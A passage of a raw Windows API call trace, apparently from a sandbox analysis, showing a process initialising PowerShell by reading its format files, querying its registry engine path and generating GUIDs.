returned 0x44 [0062.559] GetLastError () returned 0x0 [0062.559] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.559] GetLastError () returned 0x0 [0062.560] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x7e02b6ae, Data2=0xeef3, Data3=0x4254, Data4=([0]=0x8d, [1]=0x1e, [2]=0x3f, [3]=0xa9, [4]=0xd8, [5]=0x7c, [6]=0xc7, [7]=0xb9))) returned 0x0 [0062.560] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xb2cafdf6, Data2=0xd7e8, Data3=0x4549, Data4=([0]=0xa9, [1]=0x85, [2]=0xf, [3]=0x1a, [4]=0x89, [5]=0xdc, [6]=0xe, [7]=0xe2))) returned 0x0 [0062.560] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x383a333b, Data2=0x4291, Data3=0x4eb8, Data4=([0]=0x94, [1]=0xa4, [2]=0x9a, [3]=0x5c, [4]=0x86, [5]=0x38, [6]=0x5d, [7]=0x1))) returned 0x0 [0062.560] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x3697529d, Data2=0x3668, Data3=0x4fb5, Data4=([0]=0x90, [1]=0x3f, [2]=0xb6, [3]=0x5a, [4]=0x8b, [5]=0x29, [6]=0x9d, [7]=0x5d))) returned 0x0 [0062.560] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x64dec11e, Data2=0xdc0e, Data3=0x404a, Data4=([0]=0x80, [1]=0xf0, [2]=0x57, [3]=0xee, [4]=0xbf, [5]=0x23, [6]=0x7d, [7]=0x82))) returned 0x0 [0062.560] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x61687136, Data2=0x51ad, Data3=0x4749, Data4=([0]=0x95, [1]=0xd0, [2]=0x31, [3]=0x42, [4]=0x31, [5]=0x45, [6]=0x19, [7]=0x30))) returned 0x0 [0062.560] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.560] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x78be5193, Data2=0xdd71, Data3=0x4c3d, Data4=([0]=0x91, [1]=0xa0, [2]=0x1a, [3]=0x49, [4]=0xd0, [5]=0xa8, [6]=0x41, [7]=0xaf))) returned 0x0 [0062.560] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.560] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.560] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xd65fbac0, Data2=0x52da, Data3=0x4aa3, Data4=([0]=0xb1, [1]=0x6f, [2]=0x9a, [3]=0x85, [4]=0xe3, [5]=0xa2, [6]=0x70, [7]=0xd8))) returned 0x0 [0062.561] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x18487cb0, Data2=0xd3b6, Data3=0x4c0c, Data4=([0]=0x99, [1]=0xa, [2]=0x37, [3]=0xd1, [4]=0xde, [5]=0x5a, [6]=0x65, [7]=0x2d))) returned 0x0 [0062.561] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x53080c99, Data2=0xedc8, Data3=0x40ee, Data4=([0]=0x8e, [1]=0xce, [2]=0x3c, [3]=0x3a, [4]=0x94, [5]=0x60, [6]=0x9a, [7]=0xc2))) returned 0x0 [0062.561] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xf793c7e4, Data2=0x9e1b, Data3=0x4d9e, Data4=([0]=0xad, [1]=0x66, [2]=0x9c, [3]=0xa3, [4]=0x2a, [5]=0xcd, [6]=0x7, [7]=0x24))) returned 0x0 [0062.561] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.561] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x87ec4172, Data2=0xdad0, Data3=0x4cd2, Data4=([0]=0xb4, [1]=0x29, [2]=0xcd, [3]=0x1d, [4]=0xa9, [5]=0x9d, [6]=0x5e, [7]=0xdf))) returned 0x0 [0062.561] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.561] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.561] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.562] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.562] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.564] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x6023d0e, Data2=0xe8ad, Data3=0x4c84, Data4=([0]=0xbc, [1]=0x17, [2]=0x7a, [3]=0x52, [4]=0x66, [5]=0x63, [6]=0x6f, [7]=0x1b))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x55349493, Data2=0x6a51, Data3=0x4892, Data4=([0]=0x96, [1]=0xbc, [2]=0xba, [3]=0xa1, [4]=0x65, [5]=0x6c, [6]=0xaf, [7]=0x92))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x556de899, Data2=0x47b7, Data3=0x4de5, Data4=([0]=0x98, [1]=0x8e, [2]=0x49, [3]=0x6b, [4]=0xef, [5]=0x59, [6]=0xdd, [7]=0xf5))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x861c621c, Data2=0xd647, Data3=0x400a, Data4=([0]=0xa7, [1]=0x96, [2]=0xea, [3]=0xc3, [4]=0x53, [5]=0x4b, [6]=0x92, [7]=0x25))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xeb4a1b4, Data2=0x257, Data3=0x4fdb, Data4=([0]=0x88, [1]=0x38, [2]=0x1c, [3]=0xc0, [4]=0x70, [5]=0xd9, [6]=0xc6, [7]=0xad))) returned 0x0 [0062.565] VirtualQuery (in: lpAddress=0x14d554, lpBuffer=0x14e554, dwLength=0x1c | out: lpBuffer=0x14e554*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x7bfef8bd, Data2=0x5c3a, Data3=0x4b2e, Data4=([0]=0xa0, [1]=0xe4, [2]=0x83, [3]=0x1b, [4]=0x0, [5]=0xb8, [6]=0x14, [7]=0xfc))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xc19d280c, Data2=0x905a, Data3=0x41aa, Data4=([0]=0xbf, [1]=0x31, [2]=0x88, [3]=0x32, [4]=0xab, [5]=0xb1, [6]=0x6d, [7]=0x3))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x76c18c85, Data2=0x8276, Data3=0x4ff8, Data4=([0]=0x91, [1]=0x94, [2]=0xc0, [3]=0x80, [4]=0x8f, [5]=0xb4, [6]=0xca, [7]=0xcc))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x69f3c95d, Data2=0x2d1b, Data3=0x4a6c, Data4=([0]=0x9d, [1]=0xc0, [2]=0x5, [3]=0xd6, [4]=0xb9, [5]=0x80, [6]=0x1f, [7]=0xff))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xabcfee0f, Data2=0x42d5, Data3=0x4fb0, Data4=([0]=0x84, [1]=0xd9, [2]=0xe7, [3]=0xfa, [4]=0x6e, [5]=0x80, [6]=0xb6, [7]=0x98))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x1e95da03, Data2=0x1de5, Data3=0x4286, Data4=([0]=0xaa, [1]=0x5f, [2]=0x7f, [3]=0x48, [4]=0x91, [5]=0xbc, [6]=0x32, [7]=0x5d))) returned 0x0 [0062.565] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x2a4bc0f, Data2=0xd5b2, Data3=0x4880, Data4=([0]=0x9d, [1]=0xb4, [2]=0xab, [3]=0xd8, [4]=0x40, [5]=0x42, [6]=0x68, [7]=0x7a))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xb154353a, Data2=0x3d88, Data3=0x4478, Data4=([0]=0xa2, [1]=0x6d, [2]=0x8e, [3]=0x57, [4]=0x65, [5]=0x2f, [6]=0xe2, [7]=0x16))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x4ea54f65, Data2=0x7ab9, Data3=0x48ee, Data4=([0]=0x97, [1]=0x40, [2]=0xf3, [3]=0xf0, [4]=0xa0, [5]=0xf2, [6]=0x19, [7]=0x33))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x7183fbba, Data2=0x34c4, Data3=0x49ed, Data4=([0]=0xa4, [1]=0x90, [2]=0xff, [3]=0x94, [4]=0x33, [5]=0x33, [6]=0x4b, [7]=0x16))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xb2196830, Data2=0xcd51, Data3=0x4902, Data4=([0]=0xa7, [1]=0xaf, [2]=0x66, [3]=0x30, [4]=0xcd, [5]=0xbc, [6]=0xf5, [7]=0xae))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xaee83311, Data2=0x5d9, Data3=0x4109, Data4=([0]=0xa7, [1]=0x97, [2]=0xe3, [3]=0x17, [4]=0x94, [5]=0x91, [6]=0x58, [7]=0xa9))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x2652913f, Data2=0x9e9e, Data3=0x4961, Data4=([0]=0x88, [1]=0x84, [2]=0xe3, [3]=0x14, [4]=0xc7, [5]=0xe0, [6]=0x86, [7]=0xda))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x20a99817, Data2=0xc0c3, Data3=0x4c96, Data4=([0]=0x9e, [1]=0x6f, [2]=0x4f, [3]=0xbd, [4]=0x2a, [5]=0x7f, [6]=0x4a, [7]=0x34))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x92fac0fb, Data2=0x4e82, Data3=0x446a, Data4=([0]=0x92, [1]=0x8e, [2]=0x81, [3]=0xff, [4]=0x3c, [5]=0xac, [6]=0xb2, [7]=0x4e))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xf589dc21, Data2=0x69a9, Data3=0x41d0, Data4=([0]=0xa2, [1]=0x81, [2]=0xf, [3]=0xb6, [4]=0x9b, [5]=0xe4, [6]=0xe6, [7]=0x8c))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x64d35554, Data2=0xb572, Data3=0x4a7f, Data4=([0]=0x97, [1]=0x26, [2]=0xf5, [3]=0xa4, [4]=0x6f, [5]=0x96, [6]=0xbe, [7]=0xb9))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x64b9f2ef, Data2=0x3288, Data3=0x44cd, Data4=([0]=0xad, [1]=0xdb, [2]=0x57, [3]=0x1d, [4]=0x7d, [5]=0xc8, [6]=0xe8, [7]=0x2a))) returned 0x0 [0062.566] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xfc38bf10, Data2=0xc310, Data3=0x4bc1, Data4=([0]=0xb8, [1]=0xea, [2]=0xb4, [3]=0xc7, [4]=0x39, [5]=0xe3, [6]=0x58, [7]=0xf5))) returned 0x0 [0062.566] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.567] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.568] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.569] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x55c6c167, Data2=0x1e25, Data3=0x4852, Data4=([0]=0xa3, [1]=0x17, [2]=0x4e, [3]=0x7f, [4]=0xa6, [5]=0xf8, [6]=0xde, [7]=0x69))) returned 0x0 [0062.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e16c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.569] GetLastError () returned 0x0 [0062.569] SetErrorMode (uMode=0x1) returned 0x1 [0062.569] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0062.569] GetLastError () returned 0x0 [0062.569] GetFileType (hFile=0x350) returned 0x1 [0062.569] SetErrorMode (uMode=0x1) returned 0x1 [0062.569] GetFileType (hFile=0x350) returned 0x1 [0062.570] ReadFile (in: hFile=0x350, lpBuffer=0x2e48080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e48080*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.571] GetLastError () returned 0x0 [0062.571] ReadFile (in: hFile=0x350, lpBuffer=0x2e48080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e48080*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.571] GetLastError () returned 0x0 [0062.571] ReadFile (in: hFile=0x350, lpBuffer=0x2e48080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e48080*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.572] GetLastError () returned 0x0 [0062.572] ReadFile (in: hFile=0x350, lpBuffer=0x2e48080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e48080*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.572] GetLastError () returned 0x0 [0062.572] ReadFile (in: hFile=0x350, lpBuffer=0x2e48080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e48080*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.572] GetLastError () returned 0x0 [0062.572] ReadFile (in: hFile=0x350, lpBuffer=0x2e48080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e48080*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.572] GetLastError () returned 0x0 [0062.572] ReadFile (in: hFile=0x350, lpBuffer=0x2e48080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e48080*, lpNumberOfBytesRead=0x14e6d4*=0x119, lpOverlapped=0x0) returned 1 [0062.572] GetLastError () returned 0x0 [0062.572] ReadFile (in: hFile=0x350, lpBuffer=0x2e48080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e48080*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.572] GetLastError () returned 0x0 [0062.572] CloseHandle (hObject=0x350) returned 1 [0062.572] GetLastError () returned 0x0 [0062.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e234, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.572] GetLastError () returned 0x0 [0062.572] SetErrorMode (uMode=0x1) returned 0x1 [0062.572] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e6907c | out: lpFileInformation=0x2e6907c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0062.573] GetLastError () returned 0x0 [0062.573] SetErrorMode (uMode=0x1) returned 0x1 [0062.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.573] GetLastError () returned 0x0 [0062.573] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e658 | out: phkResult=0x14e658*=0x350) returned 0x0 [0062.573] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x0, lpcbData=0x14e69c*=0x0 | out: lpType=0x14e6a0*=0x1, lpData=0x0, lpcbData=0x14e69c*=0x56) returned 0x0 [0062.573] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x257278, lpcbData=0x14e69c*=0x56 | out: lpType=0x14e6a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e69c*=0x56) returned 0x0 [0062.573] RegCloseKey (hKey=0x350) returned 0x0 [0062.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.573] GetLastError () returned 0x0 [0062.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0062.573] GetLastError () returned 0x0 [0062.574] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.574] GetLastError () returned 0x0 [0062.574] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.574] GetLastError () returned 0x0 [0062.574] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.574] GetLastError () returned 0x0 [0062.574] VirtualQuery (in: lpAddress=0x14d3b0, lpBuffer=0x14e3b0, dwLength=0x1c | out: lpBuffer=0x14e3b0*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.574] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xcfd21786, Data2=0x6941, Data3=0x4ce9, Data4=([0]=0xa2, [1]=0xec, [2]=0xcd, [3]=0x81, [4]=0x95, [5]=0xd5, [6]=0x3f, [7]=0x46))) returned 0x0 [0062.574] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.574] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x60483522, Data2=0xb3ff, Data3=0x4430, Data4=([0]=0xa9, [1]=0x21, [2]=0x6d, [3]=0xde, [4]=0xed, [5]=0x7a, [6]=0x8a, [7]=0xe0))) returned 0x0 [0062.574] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xf32a7c89, Data2=0x7a87, Data3=0x4e50, Data4=([0]=0x92, [1]=0x25, [2]=0xf7, [3]=0x89, [4]=0xa9, [5]=0x8f, [6]=0x7, [7]=0xe8))) returned 0x0 [0062.574] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xf101f29b, Data2=0xb92d, Data3=0x4348, Data4=([0]=0xba, [1]=0x7b, [2]=0x7d, [3]=0x77, [4]=0xc9, [5]=0xa1, [6]=0x15, [7]=0x4e))) returned 0x0 [0062.575] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.575] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.575] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e16c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0062.575] GetLastError () returned 0x0 [0062.575] SetErrorMode (uMode=0x1) returned 0x1 [0062.575] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0062.575] GetLastError () returned 0x0 [0062.575] GetFileType (hFile=0x350) returned 0x1 [0062.575] SetErrorMode (uMode=0x1) returned 0x1 [0062.575] GetFileType (hFile=0x350) returned 0x1 [0062.575] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.577] GetLastError () returned 0x0 [0062.578] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.578] GetLastError () returned 0x0 [0062.578] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.578] GetLastError () returned 0x0 [0062.578] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.578] GetLastError () returned 0x0 [0062.578] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2e920a4*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.578] GetLastError () returned 0x0 [0062.578] ReadFile (in: hFile=0x350, lpBuffer=0x2e920a4, nNumberOfBytesToRead=0x1000, 